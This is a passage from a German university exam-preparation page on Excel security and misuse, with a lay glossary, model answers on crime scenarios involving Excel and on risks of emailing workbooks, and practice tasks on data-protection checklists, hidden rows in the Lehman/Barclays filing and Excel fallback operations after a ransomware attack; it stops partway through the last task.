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🔒 Excel-Sicherheit / Missbrauch

QUBA — Quantitative Business Analysen · Prof. Rohleder · Excel-Konzept-Fach

QUBA – Excel-Sicherheit & Missbrauch

💡 Für Fachfremde — Begriffe & Formeln in Alltagssprache
  • QUBA = Kürzel für das Uni-Fach, in dem es um Excel und das Rechnen mit Zahlen im Betrieb geht (Quantitative Business Analysen). Merke: Das Thema hier ist NICHT Rechnen, sondern wie man Excel für Betrug missbrauchen kann und wie man sich schützt.
  • Missbrauch = wenn ein Werkzeug für böse Zwecke benutzt wird. Wie ein Küchenmesser, das eigentlich zum Kochen da ist, aber auch als Waffe dienen kann.
  • Sicherheitsarchitektur = der eingebaute Schutz eines Programms, also wie gut es gegen Angreifer abgesichert ist. Wie die Schlösser, Alarmanlage und Türstärke bei einem Haus. Wenn die 'problematisch' ist, heisst das: die Schlösser sind schwach, man kommt zu leicht rein.
  • Marktanteil von mindestens 85 % = von 100 Firmen benutzen über 85 das Programm Excel. Weil fast alle es benutzen, lohnt es sich für Kriminelle besonders, ausgerechnet Excel anzugreifen. Wie Diebe zu der Strasse gehen, wo die meisten Leute wohnen.
  • Szenario = ein konkret durchgespielter Beispielfall, 'so und so könnte es ablaufen'. Wenn die Frage 'Nennen Sie drei Szenarien' sagt, will sie drei verschiedene Ablauf-Geschichten, keine allgemeinen Floskeln.
  • Enumeration / 'Nennen Sie drei'-Frage = eine Aufzählungs-Aufgabe: du sollst einfach drei Dinge auflisten und kurz erklären. Es gibt keine einzig-richtige Reihenfolge; drei saubere, unterschiedliche Beispiele geben die vollen Punkte. 'Punktesicher' heisst: damit bekommst du garantiert die Punkte.
  • Malware = ein Sammelwort für 'böse Software', also jedes Computerprogramm, das absichtlich Schaden anrichtet (englisch malicious software = bösartige Software). 'Agent Tesla' ist der Name einer bestimmten solchen Schad-Software, die z. B. heimlich Passwörter klaut.
  • Innentäter / Insider-Manipulation = der Täter arbeitet SELBST in der Firma und hat schon legalen Zugang. Wie ein Angestellter mit eigenem Schlüssel, der nachts die Kasse leert. 'Manipulation von Finanzdaten' = er ändert absichtlich Zahlen, damit sie falsch (aber echt aussehend) sind.
  • Formeln oder Rohdaten ändern = In Excel gibt es 'Rohdaten' (die eingetippten Ausgangszahlen, z. B. Umsatz 1000) und 'Formeln' (automatische Rechnungen, z. B. 'zähle alle Umsätze zusammen'). Wer eins von beiden heimlich verändert, fälscht das Endergebnis, ohne dass es sofort auffällt.
  • Bilanzfälschung / Unterschlagung = Bilanzfälschung = die Firma auf dem Papier reicher oder ärmer darstellen, als sie ist. Unterschlagung = Geld, das einem anvertraut wurde, heimlich für sich behalten. Beides sind Straftaten.
  • Makros (VBA) = kleine, selbst mitlaufende Mini-Programme INNERHALB einer Excel-Datei, die Klick-Arbeit automatisieren. VBA ist die Programmiersprache dafür. Das Problem: In so ein Makro kann jemand auch Schadcode einbauen. 'Eingebettet' = fest in die Datei hineingepackt, fährt beim Öffnen mit.
  • Phishing-E-Mail = eine Betrugs-Mail, die so tut, als käme sie von einer vertrauten Stelle (Bank, Chef, Kollege), um dich zu einer Handlung zu verleiten. Vom englischen 'fishing' = Angeln: man wirft einen Köder aus und hofft, dass jemand anbeisst.
  • Schadcode ausführen / Aktivieren der Makros = Excel fragt aus Vorsicht nach, ob die Mini-Programme laufen dürfen. Klickt das Opfer 'Ja' (aktivieren), startet das versteckte böse Programm. 'Ausführen' = starten/laufen lassen.
  • Keylogger / Ransomware = Keylogger = ein Spionageprogramm, das jeden Tastendruck heimlich mitschreibt (so werden Passwörter geklaut). Ransomware = ein Erpressungsprogramm, das alle Dateien verschlüsselt (unlesbar macht) und dann Lösegeld fordert (englisch ransom = Lösegeld). 'Nachladen' = das erste kleine Schadprogramm holt sich weiteres, grösseres Schadprogramm aus dem Internet nach.
  • Software-Schwachstelle / Exploit = Schwachstelle = ein Programmierfehler/Loch im Programm, durch das Angreifer eindringen können. Exploit = das Ausnutzen genau dieses Lochs (englisch to exploit = ausnutzen). Wie ein Fenster, das nicht richtig schliesst, und ein Einbrecher, der genau das nutzt.
  • Ungepatcht / präparierte Datei / Code ausführen ohne Makros = 'Patch' = ein Reparatur-Update, das ein Sicherheitsloch stopft; 'ungepatcht' = das Update wurde nie installiert, das Loch ist noch offen. 'Präparierte Datei' = eine absichtlich manipulierte Datei, die das Loch ausnutzt. Der Trick: Hier braucht der Angreifer nicht mal, dass du auf 'Makros aktivieren' klickst - allein das Öffnen der Datei startet den Schaden.
  • Datenexfiltration = heimliches Hinausschmuggeln von Daten aus der Firma nach draussen (englisch exfiltration = herausschleusen). Wie ein Angestellter, der abends Firmengeheimnisse in der Tasche mit nach Hause nimmt.
  • Softwarepiraterie / Lizenzbetrug = Software illegal kopieren und weitergeben, obwohl man sie eigentlich bezahlen müsste. 'Lizenz' = die bezahlte Erlaubnis, ein Programm zu nutzen; 'Lizenzbetrug' = so tun, als hätte man diese Erlaubnis, ohne dafür zu zahlen.
  • vorsätzlich oder fahrlässig = vorsätzlich = mit Absicht, man WILL den Schaden. Fahrlässig = aus Nachlässigkeit/Schlampigkeit, ohne es zu wollen, aber man hätte aufpassen müssen. Beispiel: absichtlich falsche Zahl eintippen (vorsätzlich) vs. aus Unachtsamkeit die falsche Zahl kopieren (fahrlässig).
  • strafrechtliche Relevanz = die Handlung ist so schlimm, dass sie unter das Strafgesetz fällt und man dafür vor Gericht/bestraft werden kann - nicht nur 'unhöflich', sondern verboten.
  • Umsatzzahlen aufblähen = die Verkaufszahlen künstlich grösser darstellen, als sie wirklich sind, damit die Firma erfolgreicher aussieht. Wie einen Lebenslauf schönreden.
  • Investoren / Aktionäre täuschen = Investoren = Leute, die Geld in die Firma stecken. Aktionäre = Miteigentümer der Firma (sie besitzen Anteile = Aktien). 'Täuschen' = ihnen mit falschen Zahlen ein besseres Bild vorgaukeln, damit sie Geld geben.
  • Gefälschte Rechnungen / Abrechnungen = erfundene oder verfälschte Zahlungsbelege in Excel erstellen, um illegale Zahlungen legal aussehen zu lassen. 'Vertuschen' = verstecken, damit es keiner merkt.
  • Sensible Informationen / personenbezogene Daten / Geschäftsgeheimnisse = 'sensibel' = besonders schutzbedürftig, darf nicht in falsche Hände. 'Personenbezogene Daten' = Infos über konkrete Personen (Name, Adresse, Telefon). 'Geschäftsgeheimnisse' = interne Firmen-Infos, die die Konkurrenz nicht wissen darf (z. B. Kundenlisten, Rezepturen).
  • DSGVO = das deutsche/europäische Datenschutz-Gesetz (Datenschutz-Grundverordnung). Es schreibt vor, wie man mit persönlichen Daten umgehen muss. Ein 'DSGVO-Verstoss' kann teure Strafen kosten.
  • Zugriffsrechte / Vier-Augen-Prinzip / Protokollierung = drei Schutzmassnahmen. Zugriffsrechte = nur bestimmte Leute dürfen bestimmte Dateien öffnen/ändern. Vier-Augen-Prinzip = wichtige Dinge müssen von ZWEI Personen geprüft/freigegeben werden (vier Augen sehen mehr als zwei). Protokollierung = automatisch aufschreiben, wer wann was gemacht hat.
  • Arbeitsmappen zirkulieren = 'Arbeitsmappe' ist einfach der Fachname für eine ganze Excel-Datei (eine Datei kann mehrere Tabellen-Blätter enthalten). 'Zirkulieren' = herumschicken, von einem zum nächsten weiterreichen - hier per E-Mail.
  • Übertragungsweg / abgefangen / kompromittiert = Übertragungsweg = der Weg, auf dem Daten von A nach B reisen (hier die E-Mail). 'Abgefangen' = ein Fremder liest die Mail unterwegs heimlich mit (wie ein abgefangener Brief). 'Kompromittiert' = geknackt/in falsche Hände geraten, die Sicherheit ist gebrochen.
  • Datenleck = ein ungewolltes 'Loch', durch das geheime Daten nach aussen dringen. Wie ein undichtes Rohr, aus dem Wasser (hier: Infos) austritt.
  • Versionierungs- und Konsistenzprobleme = 'Version' = ein bestimmter Bearbeitungsstand einer Datei. Wenn dieselbe Datei per Mail hin- und herwandert, gibt es plötzlich viele leicht unterschiedliche Stände gleichzeitig. 'Konsistenz' = dass alles zusammenpasst; 'Inkonsistenz' = die Stände widersprechen sich, keiner weiss mehr, welcher der richtige ist.
  • Version-Wildwuchs = ein Bild-Wort dafür, dass unkontrolliert immer mehr verschiedene Datei-Versionen entstehen (Dateifinal, Dateifinal2, Datei_final_wirklich...). 'Wildwuchs' = wächst wild und unordentlich in alle Richtungen.
  • Auditierbarkeit / Nachvollziehbarkeit = ob man später lückenlos nachprüfen kann, wer wann was geändert hat. 'Audit' = eine ordentliche Prüfung/Kontrolle. Bei E-Mail-Anhängen fehlt so ein Änderungs-Protokoll komplett.
  • Regulierte Branchen / Revisionssicherheit / Compliance / K.-o.-Kriterium = 'Regulierte Branchen' = Wirtschaftszweige mit strengen gesetzlichen Vorgaben (z. B. Banken, Pharma). 'Revisionssicherheit' = Änderungen müssen manipulationssicher und nachweisbar dokumentiert sein. 'Compliance' = Einhaltung aller Regeln und Gesetze. 'K.-o.-Kriterium' = ein Ausschluss-Grund: wenn das fehlt, ist die ganze Sache sofort durchgefallen (aus dem Boxen: K.o. = sofort erledigt).
  • SharePoint / OneDrive / Teams / Cloud-Co-Authoring = alles Microsoft-Programme zum gemeinsamen Arbeiten an EINER Datei im Internet, statt Dateien per Mail zu verschicken. 'Cloud' = Speicher im Internet, nicht auf dem eigenen Rechner. 'Co-Authoring' = mehrere Leute bearbeiten dieselbe Datei gleichzeitig (englisch co-author = Mit-Autor). Vorteil: es gibt immer nur EINE aktuelle Version, mit Änderungsprotokoll und Zugriffsrechten.

Status: GEPRÜFT (1,0) — Alle drei Szenarien-Aufgaben sind offene „Nennen Sie drei“-Enumerationen; die genannten Szenarien (Insider-Manipulation, Makro-Malware, Office-Exploit, Fälschung, Datenexfiltration) sind fachlich korrekt & punktesicher. Eine kanonische Vorlesungs-Priorisierung der „drei gebräuchlichen“ Verbrechens-Szenarien ist im Folienskript/Transkript nicht als feste Liste belegt — bei offener Enumeration ohne Notenrelevanz.

Cluster: Excel als „Tatwaffe“, problematische Sicherheitsarchitektur, unsicherer Versand. In der Klausur geht es um präzise, unterscheidbare Szenarien – nicht um Allgemeinplätze.


1. Tatwaffe Excel – „Agent Tesla“-Malware

Original-Abbildung der Klausuraufgabe (Scan)
kes-Artikel „Hacker nutzen Excel-Add-in als Einfallstor“ — Abbildung der Aufgabenstellung Tatwaffe Excel
*(Klausur 27.02.2024, Aufgabe 4, 9 Punkte)*

Frage: Ausgangsmeldung (kes-informationssicherheit.de, 23.12.2023): „Hacker nutzen Sicherheitslücke in Excel zur Verbreitung von ‚Agent Tesla'-Malware.“ Excel spielt häufig eine sehr unrühmliche Rolle, wenn es um Verbrechen geht – einerseits wegen des Marktanteils von mindestens 85 %, andererseits wegen der teilweise problematischen Sicherheitsarchitektur. Erläutern Sie drei verschiedene, gebräuchliche Szenarien von Verbrechen unter Zuhilfenahme von Excel möglichst präzise.

Musterlösung (drei Szenarien):

  1. Betrug / Manipulation von Finanzdaten (Innentäter). Ein Mitarbeiter in Buchhaltung oder Finanzwesen ändert gezielt Formeln oder Rohdaten, um Ergebnisse zu fälschen – z. B. um nicht autorisierte Überweisungen zu verschleiern oder die finanzielle Lage falsch darzustellen (Bilanzfälschung, Unterschlagung).

  2. Verteilung von Malware über Makros. Eine Excel-Datei mit eingebetteten bösartigen Makros (VBA) wird per Phishing-E-Mail als scheinbar legitime Datei versendet. Aktiviert das Opfer die Makros, wird Schadcode ausgeführt (Nachladen von Malware wie „Agent Tesla“, Keylogger, Ransomware).

  3. Ausnutzen von Software-Schwachstellen / Exploits. Angreifer nutzen bekannte Sicherheitslücken in Excel bzw. Office (auch ältere, ungepatchte), um über präparierte Dateien ohne Makros Code auszuführen. (Alternativ als drittes Szenario nennbar: Softwarepiraterie / Lizenzbetrug oder Datendiebstahl – siehe nächste Aufgabe.)

Hinweis: Der im Scan angefangene dritte Punkt „Softwareverkaufsbetrug oder hacken“ ist unscharf. Sauberer sind: Makro-Malware, Exploit über Office-Schwachstelle, Datenexfiltration/Insider-Manipulation. (Offene „Nennen Sie drei“-Frage — eine feste Vorlesungs-Priorisierung ist nicht belegt; drei sauber begründete Szenarien reichen für volle Punkte.)


2. Excel als Tatwaffe – drei Missbrauchsszenarien

(Klausur 29.07.2021, Aufgabe 1, 6 Punkte)

Frage: Als „Tat“ soll hier vereinfachend ein vorsätzliches oder fahrlässiges Handeln zum Schaden anderer verstanden werden, das moralisch verwerflich ist und/oder strafrechtliche Relevanz hat. Excel ist – wie viele Alltagswerkzeuge – eine Tatwaffe. Beschreiben Sie drei Szenarien ausführlich, in denen Excel als Tatwaffe missbraucht wird.

Musterlösung (drei Szenarien):

  1. Manipulation von Finanzdaten. Umsatzzahlen künstlich aufblähen, falsche oder überhöhte Zahlen eintragen, um Investoren/Aktionäre zu täuschen. Strafrechtlich als Betrug relevant.

  2. Erstellung gefälschter Dokumente. Gefälschte Rechnungen, Bestellungen oder Abrechnungen in Excel, um illegale Geschäfte zu vertuschen oder unrechtmäßige Zahlungen an Dritte zu rechtfertigen.

  3. Datendiebstahl und -weitergabe. Sensible Informationen (Kundenlisten, personenbezogene Daten, Geschäftsgeheimnisse) werden in Excel kopiert und unbefugt an Wettbewerber weitergegeben – Verstoß gegen Datenschutz (DSGVO) und Geschäftsgeheimnisschutz.

Kernaussage: Excel ist Werkzeug – der Missbrauch entsteht durch den Anwender. Das unterstreicht die Bedeutung von Sicherheitsmaßnahmen und Kontrollen (Zugriffsrechte, Vier-Augen-Prinzip, Protokollierung).


3. Arbeitsmappen per E-Mail – warum unprofessionell?

(Klausur 29.07.2021, Aufgabe 6, 6 Punkte)

Frage: Erläutern Sie drei verschiedene und wichtige Gründe, warum es unprofessionell ist, Excel-Arbeitsmappen per E-Mail zu zirkulieren.

Musterlösung (drei Gründe):

  1. Sicherheitsrisiken. E-Mail ist ein unsicherer Übertragungsweg für sensible Daten (Finanzdaten, personenbezogene Daten, Pläne). E-Mails können abgefangen, gehackt oder über Phishing kompromittiert werden → Datenleck, unbefugter Zugriff, DSGVO-Verstoß.

  2. Versionierungs- und Konsistenzprobleme. Wenn dieselbe Mappe per E-Mail hin- und hergeschickt wird, entstehen mehrere parallele Versionen. Es ist unklar, welche die aktuelle ist; unterschiedliche Bearbeiter speichern unterschiedliche Stände → Dateninkonsistenz, „Version-Wildwuchs“.

  3. Mangelnde Auditierbarkeit / Nachvollziehbarkeit. Per E-Mail lässt sich nicht sauber protokollieren, wer wann was geändert hat. In regulierten Branchen (Revisionssicherheit, Compliance) ist das ein K.-o.-Kriterium.

Bessere Praxis: zentrale, kollaborative Plattform (SharePoint/OneDrive/Teams, Cloud-Co-Authoring) mit Zugriffsrechten, Versionshistorie und Änderungsprotokoll statt E-Mail-Anhang.


🎯 Übungsaufgaben im Rohleder-Stil — gelöst

Selbst gebaute Aufgaben nach dem gemessenen Muster der echten Klausuren: nur „Erläutern Sie“, konkrete Formeln lesen und kritisieren, Presse-Fälle, Rollenwechsel. Grün umrandet = kein Original.

Aufgabe #108 · 12 P. · Die Datenschutzbeauftragte prüft die Personalabteilung: zehn Ja/Nein-KriterienAusgangsmeldung: Am 27.12.2019 veröffentlichte das britische Cabinet Office auf der Regierungsseite gov.uk versehentlich eine Datei mit Namen und Postanschriften von mehr als 1.000 Personen der Neujahrs-Ordensliste, darunter zahlreiche Personen des öffentlichen Lebens. Die Datei war rund zweieinhalb Stunden abrufbar. Die britische Datenschutzaufsicht ICO verhängte dafür im Dezember 2021 ein Bußgeld von 500.000 Pfund (BBC News, 02.12.2021), das später im Vergleich vor dem Tribunal um 450.000 Pfund reduziert wurde.
a) (2 P.) Erläutern Sie, worin sich die Prüfperspektive einer bzw. eines Datenschutzbeauftragten von der der Innenrevision unterscheidet.
b) (10 P.) Versetzen Sie sich in die Rolle der bzw. des Datenschutzbeauftragten und entwerfen Sie eine Checkliste aus zehn Kriterien als Ja/Nein-Fragen, mit der Sie prüfen, ob die Excel-Arbeitsmappen einer Personalabteilung datenschutzkonform gestaltet und verwendet werden.

a) 2 P. – Unterschied der Prüfperspektiven

Die Innenrevision prüft im Interesse des Unternehmens und fragt, ob die Zahlen richtig sind, ob Vermögen und Ruf des Hauses vor Schaden geschützt werden und ob die internen Regeln eingehalten wurden. ⟨1⟩ Die oder der Datenschutzbeauftragte prüft dagegen die Rechtmäßigkeit der Verarbeitung personenbezogener Daten und schützt dabei die betroffene Person, notfalls auch gegen ein wirtschaftliches Interesse des eigenen Hauses, weshalb Fragen wie Erforderlichkeit, Zweckbindung und Löschung im Vordergrund stehen. ⟨2⟩

b) 10 P. – Checkliste „Personenbezogene Daten in Excel-Arbeitsmappen der Personalabteilung"

Jede Frage ist so gestellt, dass ein „Nein" einen konkreten, prüfbaren Mangel bezeichnet.

Nr. Prüfkriterium (Ja/Nein-Frage) Antwort
1 Ist für jede Arbeitsmappe mit Personalbezug dokumentiert, welche Kategorien personenbezogener Daten sie enthält, und ist diese Verarbeitung im Verzeichnis der Verarbeitungstätigkeiten erfasst? (Ja/Nein) Ja / Nein
2 Beschränkt sich der Inhalt auf die für den jeweiligen Zweck erforderlichen Felder, statt einen vollständigen Systemauszug ungefiltert zu übernehmen? (Ja/Nein) Ja / Nein
3 Ist festgelegt und technisch durchgesetzt, wer die Mappe öffnen und wer sie ändern darf, und folgt diese Vergabe dem Need-to-know-Prinzip? (Ja/Nein) Ja / Nein
4 Wird die Mappe ausschließlich über einen zentralen, rechteverwalteten Ablageort geteilt statt als E-Mail-Anhang versendet? (Ja/Nein) Ja / Nein
5 Wird vor jeder Weitergabe geprüft, dass keine ausgeblendeten Zeilen, Spalten oder Blätter und keine Dokument-Metadaten mitgehen? (Ja/Nein) Ja / Nein
6 Existiert eine Löschregel mit konkreter Frist, und wird sie auch auf Kopien, Zwischenstände und lokale Downloads angewandt? (Ja/Nein) Ja / Nein
7 Werden besondere Kategorien personenbezogener Daten, etwa Gesundheitsangaben oder Angaben zur Schwerbehinderung, aus der allgemeinen Mappe herausgehalten und gesondert geschützt? (Ja/Nein) Ja / Nein
8 Ist die Datei bei Speicherung außerhalb geschützter Systeme verschlüsselt, und wird das Kennwort auf einem anderen Weg als die Datei übermittelt? (Ja/Nein) Ja / Nein
9 Lässt sich am Ablageort nachvollziehen, wer die Mappe wann geöffnet, geändert oder heruntergeladen hat? (Ja/Nein) Ja / Nein
10 Ist festgelegt, wer eine unbeabsichtigte Offenlegung innerhalb von 72 Stunden an die Aufsichtsbehörde meldet, und wurde dieser Meldeweg mindestens einmal geübt? (Ja/Nein) Ja / Nein

Kriterium 1 sichert die Grundvoraussetzung jeder datenschutzrechtlichen Bewertung, denn eine Verarbeitung, die niemand kennt, kann auch niemand prüfen. ⟨1⟩ Kriterium 2 setzt den Grundsatz der Datenminimierung um, weil der übliche Vollexport aus dem Personalsystem regelmäßig weit mehr Felder enthält, als die konkrete Auswertung benötigt. ⟨2⟩ Kriterium 3 verhindert, dass die Mappe für die halbe Belegschaft lesbar ist, weil Zugriffsrechte am Ablageort und nicht im Blattschutz geregelt werden müssen. ⟨3⟩ Kriterium 4 zielt auf den häufigsten Verbreitungsweg, denn ein Anhang verlässt den kontrollierten Bereich endgültig und lässt sich weder zurückholen noch nachverfolgen. ⟨4⟩ Kriterium 5 adressiert genau den Vorfall des Ausgangsfalls, bei dem Inhalte veröffentlicht wurden, die in der Ausgabe gar nicht erscheinen sollten. ⟨5⟩ Kriterium 6 macht aus dem abstrakten Löschgebot eine überprüfbare Handlung, weil die vergessene Kopie und nicht das Original der typische Datenschutzverstoß ist. ⟨6⟩ Kriterium 7 trägt dem erhöhten Schutzbedarf besonderer Datenkategorien Rechnung, deren Offenlegung für die betroffene Person ungleich schwerer wiegt. ⟨7⟩ Kriterium 8 schützt die Datei dort, wo die Zugriffsrechte des Ablageorts nicht mehr wirken, also auf Laptop, Stick und in der Ablage des Empfängers. ⟨8⟩ Kriterium 9 stellt die Rechenschaftspflicht sicher, denn ohne Protokoll lässt sich im Ernstfall nicht einmal feststellen, ob überhaupt jemand zugegriffen hat. ⟨9⟩ Kriterium 10 sichert die Reaktionsfähigkeit, weil die Meldefrist im Ernstfall abläuft, während die Beteiligten noch klären, wer zuständig ist. ⟨10⟩

Über die geforderten Punkte hinaus

Gegenposition: Der Datenschutz verbietet Excel nicht. Es wäre falsch, aus der Checkliste ein pauschales Verbot abzuleiten, denn die Verarbeitung personenbezogener Daten in einer Tabellenkalkulation ist rechtlich zulässig, wenn Rechtsgrundlage, Erforderlichkeit und Schutzmaßnahmen stimmen. ⟨+1⟩ Die Rolle verlangt eine Abwägung und keine Verbotsliste, weil ein pauschales Verbot in der Praxis nur zu unkontrollierten Umgehungen führt. ⟨+2⟩

Praxisfalle: Blattschutz ist keine Verschlüsselung. Der Blatt- und Arbeitsmappenschutz von Excel ist eine Bedienungssperre gegen versehentliches Überschreiben und lässt sich mit frei verfügbaren Mitteln in Minuten aufheben. ⟨+3⟩ Nur die Verschlüsselung der gesamten Datei über ein Öffnungskennwort schützt den Inhalt tatsächlich, und dieses Kennwort darf nicht in derselben E-Mail stehen wie die Datei. ⟨+4⟩

Grenzfall: Anonymisierung, die keine ist. Häufig werden für Auswertungen die Namensspalten gelöscht und die Mappe anschließend als anonym behandelt. ⟨+5⟩ Bleiben Merkmale wie Abteilung, Eintrittsdatum und Geburtsjahr erhalten, ist die Person in einem kleinen Team eindeutig bestimmbar, sodass weiterhin personenbezogene Daten vorliegen. ⟨+6⟩

Praxisfalle: Die Kopie im Downloads-Ordner. Selbst eine mustergültig geschützte Ablage nützt wenig, wenn jede Auswertung damit beginnt, dass die Mappe lokal heruntergeladen und dort dauerhaft liegen bleibt. ⟨+7⟩ Deshalb gehört zur Prüfung die Frage, ob überhaupt lokal gearbeitet werden muss oder ob die Auswertung im geschützten Bereich erfolgen kann. ⟨+8⟩

Spannung zwischen Löschpflicht und Aufbewahrungsfrist. Personalunterlagen unterliegen teilweise handels- und steuerrechtlichen Aufbewahrungsfristen, die einer sofortigen Löschung entgegenstehen. ⟨+9⟩ Die saubere Lösung ist, die aufbewahrungspflichtigen Daten im Fachsystem zu halten und die Arbeitskopien in Excel konsequent zu löschen, statt beides in derselben Datei zu vermischen. ⟨+10⟩

Übertragbarkeit des Ausgangsfalls. Beim Cabinet Office war nach Feststellung der Aufsicht ein neu eingerichtetes Verfahren die Ursache, das Adressen in eine zur Veröffentlichung bestimmte Datei schrieb, und nicht ein einzelner Klick eines einzelnen Sachbearbeiters. ⟨+11⟩ Für die Prüfung heißt das, dass die Checkliste am Verfahren ansetzen muss und nicht am Verhalten einzelner Personen, weil sonst nach dem Vorfall nur eine Person ermahnt und die Ursache belassen wird. ⟨+12⟩

Rohleders Erwartung: Er will genau zehn echte Ja/Nein-Fragen, die aus der Rolle abgeleitet sind und nicht die Innenrevisions-Liste mit anderem Deckblatt wiederholen. Datenschutz-spezifisch sind Erforderlichkeit, Zweckbindung, Löschfrist, besondere Datenkategorien und Meldepflicht; wer nur Passwort, Backup und Makros abfragt, hat die Rolle nicht gewechselt.

Aufgabe #109 · 8 P. · Ausgeblendet ist nicht gelöscht: 179 ungewollte Verträge in einer weitergegebenen ArbeitsmappeAusgangsmeldung (The Register und Finextra, 15.10.2008): Im Zuge der Lehman-Insolvenz wandelte eine Anwaltskanzlei am 18.09.2008 eine von Barclays übermittelte Excel-Datei in ein PDF um, das noch vor Fristablauf beim US-Insolvenzgericht eingereicht wurde. In der Arbeitsmappe waren 179 Verträge, die ausdrücklich nicht übernommen werden sollten, lediglich ausgeblendet und nicht gelöscht worden. Beim Umformatieren der Zeilen wurden sie sichtbar und damit Teil des eingereichten Angebots; die Kanzlei beantragte anschließend beim Gericht Abhilfe wegen Irrtums.
a) (2 P.) Erläutern Sie, warum das Ausblenden in Excel weder ein Schutz noch eine Löschung ist.
b) (6 P.) Erläutern Sie drei verschiedene Maßnahmen, mit denen die Weitergabe einer Arbeitsmappe an Dritte abgesichert wird.

a) 2 P. – Ausblenden ist eine Anzeigeeinstellung

Ausgeblendete Zeilen, Spalten und Tabellenblätter bleiben vollständig in der Datei enthalten und sind mit wenigen Klicks wieder einzublenden, weshalb das Ausblenden ausschließlich die Darstellung am Bildschirm betrifft und den Inhalt in keiner Weise entfernt. ⟨1⟩ Auch Blattschutz und als „sehr verborgen" markierte Blätter sind Bedien- und Anzeigefunktionen und keine Sicherheitsfunktionen, und bei jeder Weiterverarbeitung, jedem Formatwechsel und jedem Umsortieren kann der verborgene Inhalt unvermittelt wieder auftauchen. ⟨2⟩

b) 6 P. – Drei Maßnahmen für die Weitergabe

  1. Eine eigene Fassung für die Weitergabe erzeugen. Für den Empfänger wird eine separate Datei erstellt, in der die nicht bestimmten Inhalte tatsächlich gelöscht sind, und die Ergebnisse werden bei Bedarf nur als Werte eingefügt, sodass weder Formeln noch die dahinterliegenden Quelldaten mitgehen. ⟨1⟩ Das Original bleibt unangetastet im geschützten Bereich, wodurch sich die Weitergabe-Fassung jederzeit gegen die vereinbarte Liste prüfen lässt und ein Fehler nicht die Arbeitsgrundlage zerstört. ⟨2⟩

  2. Dokumentprüfung vor dem Versand. Excel bringt unter „Datei" und „Informationen" die Funktion „Auf Probleme überprüfen" mit, die ausgeblendete Zeilen, Spalten und Blätter, Kommentare, persönliche Informationen und weitere Metadaten aufspürt und auf Wunsch entfernt. ⟨3⟩ Dieser Schritt gehört als fester Bestandteil in den Freigabeprozess, weil er genau die Inhalte findet, die man nicht sucht, da man nicht weiß, dass sie vorhanden sind. ⟨4⟩

  3. Vier-Augen-Freigabe über einen kontrollierten Kanal. Die zur Weitergabe bestimmte Fassung wird von einer zweiten, nicht an der Erstellung beteiligten Person gegen die vereinbarte Liste geprüft und diese Prüfung dokumentiert, bevor die Datei das Haus verlässt. ⟨5⟩ Die Bereitstellung erfolgt anschließend über eine rechteverwaltete Plattform statt als Mailanhang, weil sich ein Anhang weder zurückholen noch nachverfolgen lässt und jede Weiterleitung unkontrolliert erfolgt. ⟨6⟩

Über die geforderten Punkte hinaus

Grenzfall Zeitdruck. Die Umwandlung erfolgte nach den Berichten wenige Stunden nach Übermittlung der Tabelle und kurz vor Ablauf einer gerichtlichen Frist, also unter genau den Bedingungen, unter denen jede Kontrollschleife als erstes gestrichen wird. ⟨+1⟩ Ein Freigabeprozess, der nur bei ruhiger Lage funktioniert, ist deshalb wertlos, weil die teuren Fehler regelmäßig unter Zeitdruck entstehen. ⟨+2⟩

Gegenposition: Kein Angriff, kein Makro, kein Hacker. Der Fall enthält keine Schadsoftware, keinen Innentäter und keine ausgenutzte Sicherheitslücke, sondern nur eine Anzeigeeinstellung und einen Formatwechsel. ⟨+3⟩ Das ist der eigentliche Lehrsatz: Der größte Teil der Schäden im Umgang mit Arbeitsmappen entsteht ohne kriminelle Absicht, weshalb eine Sicherheitsbetrachtung, die nur Angriffe behandelt, den Hauptfall verfehlt. ⟨+4⟩

Praxisfalle: PDF ist nicht automatisch sicher. Ein PDF gilt als abgeschlossenes Endformat, doch im Ausgangsfall war gerade die Umwandlung ins PDF der Weg, auf dem die verborgenen Zeilen sichtbar und wirksam wurden. ⟨+5⟩ Hinzu kommt, dass sich Text und Metadaten aus einem PDF auslesen lassen, weshalb es Inhalte darstellt, aber nicht schützt. ⟨+6⟩

Weitere verborgene Inhalte, an die niemand denkt. Neben ausgeblendeten Zeilen und Blättern transportiert eine Arbeitsmappe gesetzte Filter, benannte Bereiche im Namensmanager, externe Verknüpfungen auf Netzlaufwerke, Kommentare und den Namen des letzten Bearbeiters. ⟨+7⟩ Externe Verknüpfungen sind dabei besonders unangenehm, weil sie beim Empfänger Pfade der eigenen Organisation offenlegen und beim Öffnen Aktualisierungsversuche auslösen. ⟨+8⟩

Rohleders Erwartung: Er will die klare Unterscheidung zwischen Anzeigefunktion und Schutzfunktion und drei Maßnahmen, die den konkreten Fehler des Falls verhindert hätten. Allgemeine Sätze über Verschlüsselung und Passwörter treffen diesen Vorfall nicht, weil hier nichts geknackt, sondern nur eingeblendet wurde.

Aufgabe #110 · 10 P. · Excel als geplante Rückfallebene nach dem Cyber-KatastrophenfallAusgangsmeldung: Nach einem Ransomware-Angriff auf die Verwaltung des Landkreises Anhalt-Bitterfeld am 06.07.2021 rief der Landkreis den Katastrophenfall aus, den ersten in Deutschland aufgrund eines Cyberangriffs. Bürgernahe Leistungen waren über Monate nur eingeschränkt verfügbar; der Landkreis bezifferte die Gesamtkosten des Vorfalls später auf rund 2,5 Mio. Euro (heise online). In vergleichbaren Fällen haben Verwaltungen den Notbetrieb mit Excel-Tabellen aufrechterhalten.
a) (2 P.) Erläutern Sie das grundsätzliche Dilemma, in dem eine Verwaltung dabei steckt.
b) (6 P.) Erläutern Sie drei verschiedene Anforderungen, die eine geplante Excel-Rückfallebene erfüllen muss.
c) (2 P.) Erläutern Sie, was Excel im Notbetrieb nicht leisten kann und was nach der Rückkehr in den Regelbetrieb zwingend nachzuholen ist.

a) 2 P. – Das Dilemma

Eine Verwaltung steckt in einem Zielkonflikt zwischen Effizienz und Ausfallsicherheit: Je stärker sie ihre Abläufe in integrierte Systeme verlagert, desto schneller und fehlerärmer arbeitet sie, und desto vollständiger steht sie still, wenn diese Systeme ausfallen. ⟨1⟩ Auflösen lässt sich der Konflikt nicht, denn auf Digitalisierung zu verzichten ist wegen Tempo, Datenmenge und Vernetzung keine Option, und einen vollständigen Schutz gegen Angriffe gibt es nicht; das Dilemma ist deshalb dauerhaft zu steuern und nicht zu lösen. ⟨2⟩

b) 6 P. – Drei Anforderungen an eine geplante Rückfallebene

